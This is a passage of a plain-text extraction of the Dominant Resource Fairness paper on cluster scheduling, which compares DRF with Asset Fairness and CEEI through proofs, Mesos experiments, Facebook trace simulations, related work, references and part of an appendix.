0, which is true in our case.\\nUser A User B \\na) DRF b) Asset Fairness CPU Mem CPU Mem CPU Mem 100% 50% 0% 100% 50% 0% 100% 50% 0% c) CEEI Figure 4: Allocations given by DRF, Asset Fairness and CEEI\\nin the example scenario in Section 4.1.\\nUnfortunately, while CEEI is envy-free and Pareto ef-\\nficient, it turns out that it is notstrategy-proof, as we will\\nshow in Section 6.1.2. Thus, users can increase their al-\\nlocations by lying about their resource demands.\\n5.3 Comparison with DRF\\nTo give the reader an intuitive understanding of Asset\\nFairness and CEEI, we compare their allocations for the\\nexample in Section 4.1 to that of DRF in Figure 4.\\nWe see that DRF equalizes the dominant shares of the\\nusers, i.e., userA’s memory share and user B’s CPU\\nshare. In contrast, Asset Fairness equalizes the total frac-\\ntion of resources allocated to each user, i.e.,the areas of\\nthe rectangles for each user in the figure. Finally, be-\\ncause CEEI assumes a perfectly competitive market, it\\nfinds a solution satisfying market clearance, where ev-\\nery resource has been allocated. Unfortunately, this ex-\\nact property makes it possible to cheat CEEI: a user can\\nclaim she needs more of some underutilized resource\\neven when she does not, leading CEEI to give more tasks\\noverall to this user to achieve market clearance.\\n6 Analysis\\nIn this section, we discuss which of the properties pre-\\nsented in Section 3 are satisfied by Asset Fairness, CEEI,\\nand DRF. We also evaluate the accuracy of DRF when\\ntask sizes do not match the available resources exactly.\\n6.1 Fairness Properties\\nTable 2 summarizes the fairness properties that are sat-\\nisfied by Asset Fairness, CEEI, and DRF. The Appendix\\ncontains the proofs of the main properties of DRF, while\\nour technical report [14] contains a more complete list of\\nresults for DRF and CEEI. In the remainder of this sec-\\ntion, we discuss some of the interesting missing entries\\nin the table, i.e.,properties violated by each of these dis-\\nciplines. In particular, we show through examples why\\nAsset Fairness and CEEI lack the properties that they\\n6Allocation Policy\\nProperty Asset CEEI DRF\\nSharing Incentive XX\\nStrategy-proofness XX\\nEnvy-freeness XXX\\nPareto efficiency XXX\\nSingle Resource Fairness XXX\\nBottleneck Fairness XX\\nPopulation Monotonicity XX\\nResource Monotonicity\\nTable 2: Properties of Asset Fairness, CEEI and DRF.\\ndo, and we prove that no policy can provide resource\\nmonotonicity without violating either sharing incentive\\nor Pareto efficiency to explain why DRF lacks resource\\nmonotonicity.\\n6.1.1 Properties Violated by Asset Fairness\\nWhile being the simplest policy, Asset Fairness violates\\nseveral important properties: sharing incentive, bottle-\\nneck fairness, and resource monotonicity. Next, we use\\nexamples to show the violation of these properties.\\nTheorem 1 Asset Fairness violates the sharing incen-\\ntive property.\\nProof Consider the following example, illustrated in\\nFigure 5: two users in a system with h30;30itotal re-\\nsources have demand vectors D1=h1;3i, andD2=\\nh1;1i. Asset fairness will allocate the first user 6tasks\\nand the second user 12tasks. The first user will receive\\nh6;18iresources, while the second will use h12;12i.\\nWhile each user gets an equal aggregate share of24\\n60, the\\nsecond user gets less than half ( 15) of both resources.\\nThis violates the sharing incentive property, as the sec-\\nond user would be better off to statically partition the\\ncluster and own half of the nodes. \\u0003\\nTheorem 2 Asset Fairness violates the bottleneck fair-\\nness property.\\nProof Consider a scenario with a total resource vector of\\nh21;21iand two users with demand vectors D1=h3;2i\\nandD2=h4;1i, making resource 1 the bottleneck re-\\nsource. Asset fairness will give each user 3tasks, equal-\\nizing their aggregate usage to 15. However, this only\\ngives the first user3\\n7of resource 1 (the contended bottle-\\nneck resource), violating bottleneck fairness. \\u0003\\nTheorem 3 Asset fairness does not satisfy resource\\nmonotonicity.\\n Resource 1 Resource 2 User 1 User 2 100% 50% 0% Figure 5: Example showing that Asset Fairness can fail to meet\\nthe sharing incentive property. Asset Fairness gives user 2 less\\nthan half of both resources.\\nUser 1 User 2 \\na) With truthful demands b) With user 1 lying Res. 1 100% 50% 0% 100% 50% 0% Res. 2 Res. 1 Res. 2 \\nFigure 6: Example showing how CEEI violates strategy proof-\\nness. User 1 can increase her share by claiming that she needs\\nmore of resource 2 than she actually does.\\nProof Consider two users AandBwith demandsh4;2i\\nandh1;1iand77units of two resources. Asset fairness\\nallocatesAa total ofh44;22iandBh33;33iequalizing\\ntheir sum of shares to66\\n77. If resource two is doubled, both\\nusers’ share of the second resource is halved, while the\\nfirst resource is saturated. Asset fairness now decreases\\nA’s allocation toh42;21iand increases B’s toh35;35i,\\nequalizing their shares to42\\n77+21\\n154=35\\n77+35\\n154=105\\n154.\\nThus resource monotonicity is violated. \\u0003\\n6.1.2 Properties Violated by CEEI\\nWhile CEEI is envy-free and Pareto efficient, it turns\\nout that it is notstrategy proof. Intuitively, this is be-\\ncause CEEI assumes a perfectly competitive market that\\nachieves market clearance ,i.e.,matching of supply and\\ndemand and allocation of all the available resources.\\nThis can lead to CEEI giving much higher shares to users\\nthat use more of a less-contended resource in order to\\nfully utilize that resource. Thus, a user can claim that she\\nneeds more of some underutilized resource to increase\\nher overall share of resources. We illustrate this below.\\nTheorem 4 CEEI is not strategy-proof.\\n7User 1 User 2 User 3 \\na) With 3 users b) After user 3 leaves Res. 1 100% 50% 0% 100% 50% 0% Res. 2 Res. 1 Res. 2 Figure 7: Example showing that CEEI violates population\\nmonotonicity. When user 3 leaves, CEEI changes the alloca-\\ntion from a) to b), lowering the share of user 2.\\nProof Consider the following example, shown in Figure\\n6. Assume a total resource vector of h100;100i, and two\\nusers with demands h16;1iandh1;2i. In this case, CEEI\\nallocates100\\n31and1500\\n31tasks to each user respectively\\n(approximately 3.2 and 48.8 tasks). If user 1changes her\\ndemand vector to h16;8i, asking for more of resource\\n2 than she actually needs, CEEI gives the the users25\\n6\\nand100\\n3tasks respectively (approximately 4:2and33:3\\ntasks). Thus, user 1 improves her number of tasks from\\n3.2 to 4.2 by lying about her demand vector. User 2suf-\\nfers because of this, as her task allocation decreases. \\u0003\\nIn addition, for the same intuitive reason (market\\nclearance), we have the following result:\\nTheorem 5 CEEI violates population monotonicity.\\nProof Consider the total resource vector h100;100iand\\nthree users with the following demand vectors D1=\\nh4;1i,D2=h1;16i, andD3=h16;1i(see Figure 7).\\nCEEI will yield the allocation A1=h11:3;5:4;3:1i,\\nwhere the numbers in parenthesis represent the number\\nof tasks allocated to each user. If user 3leaves the system\\nand relinquishes her resource, CEEI gives the new allo-\\ncationA2=h23:8;4:8i, which has made user 2worse\\noff than inA1. \\u0003\\n6.1.3 Resource Monotonicity vs. Sharing Incentives\\nand Pareto efficiency\\nAs shown in Table 2, DRF achieves all the properties ex-\\ncept resource monotonicity. Rather than being a limita-\\ntion of DRF, this is a consequence of the fact that sharing\\nincentive, Pareto efficiency, and resource monotonicity\\ncannot be achieved simultaneously. Since we consider\\nthe first two of these properties to be more important (see\\nSection 3) and since adding new resources to a system is\\na relatively rare event, we chose to satisfy sharing incen-\\ntive and Pareto efficiency, and give up resource mono-\\ntonicity. In particular, we have the following result.Theorem 6 No allocation policy that satisfies the shar-\\ning incentive and Pareto efficiency properties can also\\nsatisfy resource monotonicity.\\nProof We use a simple example to prove this prop-\\nerty. Consider two users AandBwith symmetric de-\\nmandsh2;1i, andh1;2i, respectively, and assume equal\\namounts of both resources. Sharing incentive requires\\nthat userAgets at least half of resource 1and userB\\ngets half of resource 2. By Pareto efficiency, we know\\nthat at least one of the two users must be allocated more\\nresources. Without loss of generality, assume that user A\\nis given more than half of resource 1(a symmetric argu-\\nment holds if user Bis given more than half of resource\\n2). If the total amount of resource 2is now increased by\\na factor of 4, userBis no longer getting its guaranteed\\nshare of half of resource 2. Now, the only feasible allo-\\ncation that satisfies the sharing incentive is to give both\\nusers half of resource 1, which would require decreas-\\ning user 1’s share of resource 1, thus violating resource\\nmonotonicity. \\u0003\\nThis theorem explains why both DRF and CEEI vio-\\nlate resource monotonicity.\\n6.2 Discrete Resource Allocation\\nSo far, we have implicitly assumed one big resource\\npool whose resources can be allocated in arbitrarily small\\namounts. Of course, this is often not the case in prac-\\ntice. For example, clusters consist of many small ma-\\nchines, where resources are allocated to tasks in discrete\\namounts. In the reminder of this section, we refer to\\nthese two scenarios as the continuous , and the discrete\\nscenario, respectively. We now turn our attention to how\\nfairness is affected in the discrete scenario.\\nAssume a cluster consisting of Kmachines.\\nLet max-task denote the maximum demand vec-\\ntor across all demand vectors, i.e., max-task =\\nhmaxifdi;1g;maxifdi;2g;\\u0001\\u0001\\u0001;maxifdi;mgi. Assume\\nfurther that any task can be scheduled on every machine,\\ni.e., the total amount of resources on each machine\\nis at least max-task. We only consider the case when\\neach user has strictly positive demands. Given these\\nassumptions, we have the following result.\\nTheorem 7 In the discrete scenario, it is possible to al-\\nlocate resources such that the difference between the al-\\nlocations of any two users is bounded by one max-task\\ncompared to the continuous allocation scenario.\\nProof Assume we start allocating resources on one ma-\\nchine at a time, and that we always allocate a task to the\\nuser with the lowest dominant share. As long as there\\nis at least a max-task available on the first machine, we\\n80 50 100 150 200 250 300\\n(a)0.00.20.40.60.81.0Job 1 ShareJob 1 CPU\\nJob 1 Memory\\n0 50 100 150 200 250 300\\n(b)0.00.20.40.60.81.0Job 2 ShareJob 2 CPU\\nJob 2 Memory\\n0 50 100 150 200 250 300\\nTime (s)\\n(c)0.00.20.40.60.81.0Dominant ShareJob 1\\nJob 2Figure 8: CPU, memory and dominant share for two jobs.\\ncontinue to allocate a task to the next user with least dom-\\ninant share. Once the available resources on the first ma-\\nchine become less than a max-task size, we move to the\\nnext machine and repeat the process. When the alloca-\\ntion completes, the difference between two user’s alloca-\\ntions of their dominant resources compared to the con-\\ntinuous scenario is at most max-task . If this were not the\\ncase, then some user Awould have more than max-task\\ndiscrepancy w.r.t. to another user B. However, this can-\\nnot be the case, because the last time Awas allocated a\\ntask,Bshould have been allocated a task instead. \\u0003\\n7 Experimental Results\\nThis section evaluates DRF through micro- and macro-\\nbenchmarks. The former is done through experiments\\nrunning an implementation of DRF in the Mesos cluster\\nresource manager [16]. The latter is done using trace-\\ndriven simulations.\\nWe start by showing how DRF dynamically adjusts the\\nshares of jobs with different resource demands in Section\\n7.1. In Section 7.2, we compare DRF against slot-level\\nfair sharing (as implemented by Hadoop Fair Scheduler\\n[34] and Quincy [18]), and CPU-only fair sharing. Fi-\\nnally, in Section 7.3, we use Facebook traces to compare\\nDRF and the Hadoop’s Fair Scheduler in terms of utiliza-tion and job completion time.\\n7.1 Dynamic Resource Sharing\\nIn our first experiment, we show how DRF dynamically\\nshares resources between jobs with different demands.\\nWe ran two jobs on a 48-node Mesos cluster on Amazon\\nEC2, using “extra large” instances with 4 CPU cores and\\n15 GB of RAM. We configured Mesos to allocate up to\\n4 CPUs and 14 GB of RAM on each node, leaving 1 GB\\nfor the OS. We submitted two jobs that launched tasks\\nwith different resource demands at different times during\\na 6-minute interval.\\nFigures 8 (a) and 8 (b) show the CPU and memory al-\\nlocations given to each job as a function of time, while\\nFigure 8 (c) shows their dominant shares. In the first 2\\nminutes, job 1 uses h1 CPU, 10 GB RAM iper task and\\njob 2 usesh1 CPU, 1 GB RAM iper task. Job 1’s dom-\\ninant resource is RAM, while job 2’s dominant resource\\nis CPU. Note that DRF equalizes the jobs’ shares of their\\ndominant resources. In addition, because jobs have dif-\\nferent dominant resources, their dominant shares exceed\\n50%, i.e.,job 1 uses around 70% of the RAM while job\\n2 uses around 75% of the CPUs. Thus, the jobs benefit\\nfrom running in a shared cluster as opposed to taking half\\nthe nodes each. This captures the essence of the sharing\\nincentive property.\\nAfter 2 minutes, the task sizes of both jobs change, to\\nh2 CPUs, 4 GBifor job 1 andh1 CPU, 3 GBifor job\\n2. Now, both jobs’ dominant resource is CPU, so DRF\\nequalizes their CPU shares. Note that DRF switches allo-\\ncations dynamically by having Mesos offer resources to\\nthe job with the smallest dominant share as tasks finish.\\nFinally, after 2 more minutes, the task sizes of both\\njobs change again: h1 CPU, 7 GBifor job 1 andh1 CPU,\\n4 GBifor job 2. Both jobs’ dominant resource is now\\nmemory, so DRF tries to equalize their memory shares.\\nThe reason the shares are not exactly equal is due to re-\\nsource fragmentation (see Section 6.2).\\n7.2 DRF vs. Alternative Allocation Policies\\nWe next evaluate DRF with respect to two alternative\\nschemes: slot-based fair scheduling (a common policy in\\ncurrent systems, such as the Hadoop Fair Scheduler [34]\\nand Quincy [18]) and (max-min) fair sharing applied\\nonly to a single resource (CPU). For the experiment, we\\nran a 48-node Mesos cluster on EC2 instances with 8\\nCPU cores and 7 GB RAM each. We configured Mesos\\nto allocate 8 CPUs and 6 GB RAM on each node, leav-\\ning 1 GB free for the OS. We implemented these three\\nscheduling policies as Mesos allocation modules.\\nWe ran a workload with two classes of users, repre-\\nsenting two organizational entities with different work-\\nloads. One of the entities had four users submitting small\\njobs with task demands h1 CPU, 0.5 GBi. The other en-\\n9DRF 3 slots 4 slots 5 slots 6 slots CPU-fair0510152025303540353330\\n17\\n813Figure 9: Number of large jobs completed for each allocation\\nscheme in our comparison of DRF against slot-based fair shar-\\ning and CPU-only fair sharing.\\nDRF 3 slots 4 slots 5 slots 6 slots CPU-fair020406080100 91\\n376166\\n3594\\nFigure 10: Number of small jobs completed for each alloca-\\ntion scheme in our comparison of DRF against slot-based fair\\nsharing and CPU-only fair sharing.\\ntity had four users submitting large jobs with task de-\\nmandsh2 CPUs, 2 GBi. Each job consisted of 80tasks.\\nAs soon as a job finished, the user would launch another\\njob with similar demands. Each experiment ran for ten\\nminutes. At the end, we computed the number of com-\\npleted jobs of each type, as well as their response times.\\nFor the slot-based allocation scheme, we varied the\\nnumber of slots per machine from 3 to 6 to see how it\\naffected performance. Figures 9 through 12 show our re-\\nsults. In Figures 9 and 10, we compare the number of\\njobs of each type completed for each scheduling scheme\\nin ten minutes. In Figures 11 and 12, we compare aver-\\nage response times.\\nSeveral trends are apparent from the data. First, with\\nslot-based scheduling, both the throughput and job re-\\nsponse times are worse than with DRF, regardless of the\\nnumber of slots. This is because with a low slot count,\\nthe scheduler can undersubscribe nodes ( e.g.,, launch\\nonly 3 small tasks on a node), while with a large slot\\ncount, it can oversubscribe them ( e.g., launch 4 large\\ntasks on a node and cause swapping because each task\\nneeds 2 GB and the node only has 6 GB). Second, with\\nfair sharing at the level of CPUs, the number of small\\njobs executed is similar to DRF, but there are much fewer\\nlarge jobs executed, because memory is overcommitted\\non some machines and leads to poor performance for all\\nthe high-memory tasks running there. Overall, the DRF-\\nbased scheduler that is aware of both resources has the\\nlowest response times and highest overall throughput.\\n7.3 Simulations using Facebook Traces\\nNext we use log traces from a 2000-node cluster at Face-\\nbook, containing data for a one week period (October\\nDRF 3 slots 4 slots 5 slots 6 slots CPU-fair050100150200\\n65 69 72123196\\n173Figure 11: Average response time (in seconds) of large jobs\\nfor each allocation scheme in our comparison of DRF against\\nslot-based fair sharing and CPU-only fair sharing.\\nDRF 3 slots 4 slots 5 slots 6 slots CPU-fair010203040506070\\n2561\\n393556\\n25\\nFigure 12: Average response time (in seconds) of small jobs\\nfor each allocation scheme in our comparison of DRF against\\nslot-based fair sharing and CPU-only fair sharing.\\n2010). The data consists of Hadoop MapReduce jobs.\\nWe assume task duration, CPU usage, and memory con-\\nsumption is identical as in the original trace. The traces\\nare simulated on a smaller cluster of 400nodes to reach\\nhigher utilization levels, such that fairness becomes rel-\\nevant. Each node in the cluster consists of 12 slots, 16\\ncores, and 32 GB memory. Figure 13 shows a short 300\\nsecond sub-sample to visualize how CPU and memory\\nutilization looks for the same workload when using DRF\\ncompared to Hadoop’s fair scheduler (slot). As shown in\\nthe figure, DRF provides higher utilization, as it is able\\nto better match resource allocations with task demands.\\nFigure 14 shows the reduction of the average job com-\\npletion times for DRF as compared to the Hadoop fair\\nscheduler. The workload is quite heavy on small jobs,\\nwhich experience no improvements ( i.e.,\\u00003%). This is\\nbecause small jobs typically consist of a single execu-\\ntion phase, and the completion time is dominated by the\\nlongest task. Thus completion time is hard to improve\\nfor such small jobs. In contrast, the completion times of\\nthe larger jobs reduce by as much as 66%. This is be-\\ncause these jobs consists of many phases, and thus they\\ncan benefit from the higher utilization achieved by DRF.\\n8 Related Work\\nWe briefly review related work in computer science and\\neconomics.\\nWhile many papers in computer science focus on\\nmulti-resource fairness, they are only considering multi-\\nple instances of the same interchangeable resource, e.g.,\\nCPU [6, 7, 35], and bandwidth [10, 20, 21]. Unlike these\\napproaches, we focus on the allocation of resources of\\ndifferent types.\\n100 500 1000 1500 2000 25000.00.20.40.60.81.0CPU UtilizationDRF\\nSlots\\n0 500 1000 1500 2000 2500\\nTime (s)0.00.20.40.60.81.0Memory UtilizationFigure 13: CPU and memory utilization for DRF and slot fair-\\nness for a trace from a Facebook Hadoop cluster.\\n1-500\\n501-10001001-1500 1501-2000 2501-3000 2501-30003001-∞\\nJob Size (tasks)010203040506070Completion Time Reduction-3%35%51%48%55%66%\\n53%\\nFigure 14: Average reduction of the completion times for dif-\\nferent job sizes for a trace from a Facebook Hadoop cluster.\\nQuincy [18] is a scheduler developed in the context\\nof the Dryad cluster computing framework [17]. Quincy\\nachieves fairness by modeling the fair scheduling prob-\\nlem as a min-cost flow problem. Quincy does not cur-\\nrently support multi-resource fairness. In fact, as men-\\ntioned in the discussion section of the paper [18, pg. 17],\\nit appears difficult to incorporate multi-resource require-\\nments into the min-cost flow formulation.\\nHadoop currently provides two fair sharing sched-\\nulers [1, 2, 34]. Both these schedulers allocate resources\\nat the slot granularity, where a slot is a fixed fraction of\\nthe resources on a machine. As a result, these sched-\\nulers cannot always match the resource allocations with\\nthe tasks’ demands, especially when these demands are\\nwidely heterogeneous. As we have shown in Section 7,\\nthis mismatch may lead to either low cluster utilization\\nor poor performance due to resource oversubscription.\\nIn the microeconomic literature, the problem of equity\\nhas been studied within and outside of the framework of\\ngame theory. The books by Young [33] and Moulin [22]\\nare entirely dedicated to these topics and provide good\\nintroductions. The preferred method of fair division in\\nmicroeconomics is CEEI [3, 33, 22], as introduced by\\nVarian [30]. We have therefore devoted considerable at-\\ntention to it in Section 5.2. CEEI’s main drawback com-pared to DRF is that it is not strategy-proof. As a result,\\nusers can manipulate the scheduler by lying about their\\ndemands.\\nMany of the fair division policies proposed in the mi-\\ncroeconomics literature are based on the notion of utility\\nand, hence, focus on the single metric of utility. In the\\neconomics literature, max-min fairness is known as the\\nlexicographic ordering [26, 25] (leximin) of utilities.\\nThe question is what the user utilities are in the multi-\\nresource setting, and how to compare such utilities. One\\nnatural way is to define utility as the number of tasks al-\\nlocated to a user. But modeling utilities this way, together\\nwith leximin, violates many of the fairness properties we\\nproposed. Viewed in this light, DRF makes two contri-\\nbutions. First, it suggests using the dominant share as a\\nproxy for utility, which is equalized using the standard\\nleximin ordering. Second, we prove that this scheme is\\nstrategy-proof for such utility functions. Note that the\\nleximin ordering is a lexicographic version of the Kalai-\\nSmorodinsky (KS) solution [19]. Thus, our result shows\\nthat KS is strategy-proof for such utilities.\\n9 Conclusion and Future Work\\nWe have introduced Dominant Resource Fairness (DRF),\\na fair sharing model that generalizes max-min fairness to\\nmultiple resource types. DRF allows cluster schedulers\\nto take into account the heterogeneous demands of dat-\\nacenter applications, leading to both fairer allocation of\\nresources and higher utilization than existing solutions\\nthat allocate identical resource slices (slots) to all tasks.\\nDRF satisfies a number of desirable properties. In par-\\nticular, DRF is strategy-proof, so that users are incen-\\ntivized to report their demands accurately. DRF also in-\\ncentivizes users to share resources by ensuring that users\\nperform at least as well in a shared cluster as they would\\nin smaller, separate clusters. Other schedulers that we in-\\nvestigated, as well as alternative notions of fairness from\\nthe microeconomic literature, fail to satisfy all of these\\nproperties.\\nWe have evaluated DRF by implementing it in the\\nMesos resource manager, and shown that it can lead to\\nbetter overall performance than the slot-based fair sched-\\nulers that are commonly in use today.\\n9.1 Future Work\\nThere are several interesting directions for future re-\\nsearch. First, in cluster environments with discrete tasks,\\none interesting problem is to minimize resource frag-\\nmentation without compromising fairness. This prob-\\nlem is similar to bin-packing, but where one must pack\\nas many items (tasks) as possible subject to meeting\\nDRF. A second direction involves defining fairness when\\ntasks have placement constraints, such as machine pref-\\nerences. Given the current trend of multi-core machines,\\n11a third interesting research direction is to explore the use\\nof DRF as an operating system scheduler. Finally, from\\na microeconomic perspective, a natural direction is to\\ninvestigate whether DRF is the only possible strategy-\\nproof policy for multi-resource fairness, given other de-\\nsirable properties such Pareto efficiency.\\n10 Acknowledgements\\nWe thank Eric J. Friedman, Herv ´e Moulin, John Wilkes,\\nand the anonymous reviewers for their invaluable feed-\\nback. We thank Facebook for making available their\\ntraces. This research was supported by California MI-\\nCRO, California Discovery, the Swedish Research Coun-\\ncil, the Natural Sciences and Engineering Research\\nCouncil of Canada, a National Science Foundation Grad-\\nuate Research Fellowship,5and the RAD Lab spon-\\nsors: Google, Microsoft, Oracle, Amazon, Cisco, Cloud-\\nera, eBay, Facebook, Fujitsu, HP, Intel, NetApp, SAP,\\nVMware, and Yahoo!.\\nReferences\\n[1] Hadoop Capacity Scheduler.\\nhttp://hadoop.apache.org/common/docs/r0.\\n20.2/capacity_scheduler.html .\\n[2] Hadoop Fair Scheduler.\\nhttp://hadoop.apache.org/common/docs/r0.\\n20.2/fair_scheduler.html .\\n[3] Personal communication with Herv ´e Moulin.\\n[4] A. K. Agrawala and R. M. Bryant. Models of memory\\nscheduling. In SOSP ’75 , 1975.\\n[5] J. Axboe. Linux Block IO – Present and Future\\n(Completely Fair Queueing). In Ottawa Linux\\nSymposium 2004 , pages 51–61, 2004.\\n[6] S. K. Baruah, N. K. Cohen, C. G. Plaxton, and D. A.\\nVarvel. Proportionate progress: A notion of fairness in\\nresource allocation. Algorithmica , 15(6):600–625, 1996.\\n[7] S. K. Baruah, J. Gehrke, and C. G. Plaxton. Fast\\nscheduling of periodic tasks on multiple resources. In\\nIPPS ’95 , 1995.\\n[8] J. Bennett and H. Zhang. WF2Q: Worst-case fair\\nweighted fair queueing. In INFOCOM , 1996.\\n[9] D. Bertsekas and R. Gallager. Data Networks . Prentice\\nHall, second edition, 1992.\\n[10] J. M. Blanquer and B. ¨Ozden. Fair queuing for\\naggregated multiple links. SIGCOMM ’01 ,\\n31(4):189–197, 2001.\\n[11] B. Caprita, W. C. Chan, J. Nieh, C. Stein, and H. Zheng.\\nGroup ratio round-robin: O(1) proportional share\\nscheduling for uniprocessor and multiprocessor systems.\\nInUSENIX Annual Technical Conference , 2005.\\n[12] A. Demers, S. Keshav, and S. Shenker. Analysis and\\nsimulation of a fair queueing algorithm. In SIGCOMM\\n’89, pages 1–12, New York, NY , USA, 1989. ACM.\\n5Any opinions, findings, conclusions, or recommendations ex-\\npressed in this publication are those of the authors and do not nec-\\nessarily reflect the views of the NSF.[13] D. Foley. Resource allocation and the public sector. Yale\\nEconomic Essays , 7(1):73–76, 1967.\\n[14] A. Ghodsi, M. Zaharia, B. Hindman, A. Konwinski,\\nS. Shenker, and I. Stoica. Dominant resource fairness:\\nFair allocation of multiple resource types. Technical\\nReport UCB/EECS-2011-18, EECS Department,\\nUniversity of California, Berkeley, Mar 2011.\\n[15] P. Goyal, H. Vin, and H. Cheng. Start-time fair queuing:\\nA scheduling algorithm for integrated services packet\\nswitching networks. IEEE/ACM Transactions on\\nNetworking , 5(5):690–704, Oct. 1997.\\n[16] B. Hindman, A. Konwinski, M. Zaharia, A. Ghodsi,\\nA. D. Joseph, R. H. Katz, S. Shenker, and I. Stoica.\\nMesos: A platform for fine-grained resource sharing in\\nthe data center. In NSDI , 2011.\\n[17] M. Isard, M. Budiu, Y . Yu, A. Birrell, and D. Fetterly.\\nDryad: distributed data-parallel programs from\\nsequential building blocks. In EuroSys 07 , 2007.\\n[18] M. Isard, V . Prabhakaran, J. Currey, U. Wieder,\\nK. Talwar, and A. Goldberg. Quincy: Fair scheduling for\\ndistributed computing clusters. In SOSP ’09 , 2009.\\n[19] E. Kalai and M. Smorodinsky. Other Solutions to Nash’s\\nBargaining Problem. Econometrica , 43(3):513–518,\\n1975.\\n[20] J. M. Kleinberg, Y . Rabani, and ´E. Tardos. Fairness in\\nrouting and load balancing. J. Comput. Syst. Sci. ,\\n63(1):2–20, 2001.\\n[21] Y . Liu and E. W. Knightly. Opportunistic fair scheduling\\nover multiple wireless channels. In INFOCOM , 2003.\\n[22] H. Moulin. Fair Division and Collective Welfare . The\\nMIT Press, 2004.\\n[23] J. Nash. The Bargaining Problem. Econometrica ,\\n18(2):155–162, April 1950.\\n[24] A. Parekh and R. Gallager. A generalized processor\\nsharing approach to flow control - the single node case.\\nACM/IEEE Transactions on Networking , 1(3):344–357,\\nJune 1993.\\n[25] E. A. Pazner and D. Schmeidler. Egalitarian equivalent\\nallocations: A new concept of economic equity.\\nQuarterly Journal of Economics , 92:671–687, 1978.\\n[26] A. Sen. Rawls Versus Bentham: An Axiomatic\\nExamination of the Pure Distribution Problem. Theory\\nand Decision , 4(1):301–309, 1974.\\n[27] M. Shreedhar and G. Varghese. Efficient fair queuing\\nusing deficit round robin. IEEE Trans. Net , 1996.\\n[28] I. Stoica, H. Abdel-Wahab, K. Jeffay, S. Baruah,\\nJ. Gehrke, and G. Plaxton. A proportional share resource\\nallocation algorithm for real-time, time-shared systems.\\nInIEEE RTSS 96 , 1996.\\n[29] I. Stoica, S. Shenker, and H. Zhang. Core-stateless fair\\nqueueing: Achieving approximately fair bandwidth\\nallocations in high speed networks. In SIGCOMM , 1998.\\n[30] H. Varian. Equity, envy, and efficiency. Journal of\\nEconomic Theory , 9(1):63–91, 1974.\\n[31] C. A. Waldspurger. Lottery and Stride Scheduling:\\nFlexible Proportional Share Resource Management .\\nPhD thesis, MIT, Laboratory of Computer Science, Sept.\\n1995. MIT/LCS/TR-667.\\n[32] C. A. Waldspurger and W. E. Weihl. Lottery scheduling:\\n12flexible proportional-share resource management. In\\nOSDI ’94 , 1994.\\n[33] H. P. Young. Equity: in theory and practice . Princeton\\nUniversity Press, 1994.\\n[34] M. Zaharia, D. Borthakur, J. Sen Sarma, K. Elmeleegy,\\nS. Shenker, and I. Stoica. Delay Scheduling: A Simple\\nTechnique for Achieving Locality and Fairness in\\nCluster Scheduling. In EuroSys 10 , 2010.\\n[35] D. Zhu, D. Moss ´e, and R. G. Melhem.\\nMultiple-Resource Periodic Scheduling Problem: how\\nmuch fairness is necessary? In IEEE RTSS , 2003.\\nA Appendix: DRF Properties\\nIn this appendix, we present the main properties of DRF.\\nThe technical report [14] contains a more complete list\\nof results for DRF and CEEI. For context, the following\\ntable summarizes the properties satisfied by Asset Fair-\\nness, CEEI, and DRF, respectively.\\nIn this section, we assume that all users have an un-\\nbounded number of tasks. In addition, we assume that\\nall tasks of a user have the same demand vector, and we\\nwill refer to this vector as the user’s demand vector.\\nNext, we present progressive filling [9], a simple tech-\\nnique to achieve DRF allocation when all resources are\\narbitrary divisible. This technique is instrumental in\\nproving our results.\\nA.1 Progressive Filling for DRF\\nProgressive filling is an idealized algorithm to achieve\\nmax-min fairness in a system in which resources can\\nbe allocated in arbitrary small amounts [9, pg 450]. It\\nwas originally used in a networking context, but we now\\nadapt it to our problem domain. In the case of DRF, pro-\\ngressive filling increases all users’ dominant shares at the\\nsame rate, while increasing their other resource alloca-\\ntions proportionally to their task demand vectors, until at\\nleast one resource is saturated. At this point, the alloca-\\ntions of all users using the saturated resource are frozen,\\nand progressive filling continues recursively after elim-\\ninating these users. In this case, progressive filling ter-\\nminates when there are no longer users whose dominant\\nshares can be increased.\\nProgressive filling for DRF is equivalent to the\\nscheduling algorithm presented in Figure 1 after appro-\\npriately scaling the users’ demand vectors. In particular,\\neach user’s demand vector is scaled such that allocating\\nresources to a user according to her scaled demand vec-\\ntor will increase her dominant share by a fixed \\u000f, which\\nis the same for all users. Let Di=hdi;1;di;2;:::;di;mi\\nbe the demand vector of user i, letrkbe her domi-\\nnant share6, and letsi=di;k\\nrkbe her dominant share.\\nWe then scale the demand vector of user iby\\u000f\\nsi,i.e.,\\nD0\\ni=\\u000f\\nsiDi=\\u000f\\nsihdi;1;di;2;:::;di;mi. Thus, every time\\n6Recall that in this section we assume that all tasks of a user have\\nthe same demand vector.a task of user iis selected, she is allocated an amount\\n\\u000f\\nsidi;k=\\u000f\\u0001rkof the dominant resource. This means that\\nthe share of the dominant resource of user iincreases by\\n(\\u000f\\u0001rk)=rk=\\u000f, as expected.\\nA.2 Allocation Properties\\nWe start with a preliminary result.\\nLemma 8 Every user in a DRF allocation has at least\\none saturated resource.\\nProof Assume this is not the case, i.e.,none of the re-\\nsources used by user iis saturated. However, this con-\\ntradicts the assumption that progressive filling has com-\\npleted the computation of the DRF allocation. Indeed,\\nas long as none of the resources of user iare saturated,\\nprogressive filling will continue to increase the alloca-\\ntions of user i(and of all the other users sharing only\\nnon-saturated resources). \\u0003\\nRecall that progressive filling always allocates the re-\\nsources to a user proportionally to the user’s demand\\nvector. More precisely, let Di=hdi;1;di;2;:::;di;mi\\nbe the demand vector of user i. Then, at any time tdur-\\ning the progressive filling process, the allocation of user\\niis proportional to the demand vector,\\nAi(t) =\\u000bi(t)\\u0001Di=\\u000bi(t)\\u0001hdi;1;di;2;:::;di;mi(1)\\nwhere\\u000bi(t)is a positive scalar.\\nNow, we are in position to prove the DRF properties.\\nTheorem 9 DRF is Pareto efficient.\\nProof Assume user ican increase her dominant share,\\nsi, without decreasing the dominant share of anyone else.\\nAccording to Lemma 8, user ihas at least one saturated\\nresource. If no other user is using the saturated resource,\\nthen we are done as it would be impossible to increase i’s\\nshare of the saturated resource. If other users are using\\nthe saturated resource, then increasing the allocation of\\niwould result in decreasing the allocation of at least an-\\nother userjsharing the same saturated resource. Since\\nunder progressive filling, the resources allocated by any\\nuser are proportional to her demand vector (see Eq. 1),\\ndecreasing the allocation of any resource used by user i\\nwill also decrease i’s dominant share. This contradicts\\nour hypothesis, and therefore proves the result. \\u0003\\nTheorem 10 DRF satisfies the sharing incentive and\\nbottleneck fairness properties.\\nProof Consider a system consisting of nusers. Assume\\nresourcekis the first one being saturated by using pro-\\ngressive filling. Let ibe the user allocating the 